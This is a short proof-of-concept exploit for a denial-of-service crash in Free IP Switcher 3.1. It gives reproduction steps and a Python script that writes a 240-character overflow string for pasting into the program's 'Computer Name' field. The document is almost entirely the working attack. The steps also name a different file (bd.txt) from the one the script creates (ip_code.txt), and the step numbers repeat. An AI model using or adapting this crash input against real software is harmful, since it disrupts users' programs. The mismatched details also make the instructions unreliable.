Free IP Switcher 3.1 - 'Computer Name' Denial of Service (PoC)

#Exploit Title: Free IP Switcher 3.1 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-14
#Vendor Homepage: http://www.eusing.com/index.html
#Software Link: http://www.eusing.com/ipscan/free_ip_scanner.htm
#Tested Version: 3.1 
#Tested on: Windows 10 Single Language x64 / Windows 7 x32 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Free_IP_Switcher_3.1.py
#2.- Open bd.txt and copy content to clipboard
#2.- Open Free IP Switcher 
#3.- Select "Network Adapter"
#4.- In "Additional" enable "Computer Name" and Paste ClipBoard
#5.- Click on "Activate"
#6.- Crashed

cod = "\x41" * 240

f = open('ip_code.txt', 'w')
f.write(cod)
f.close()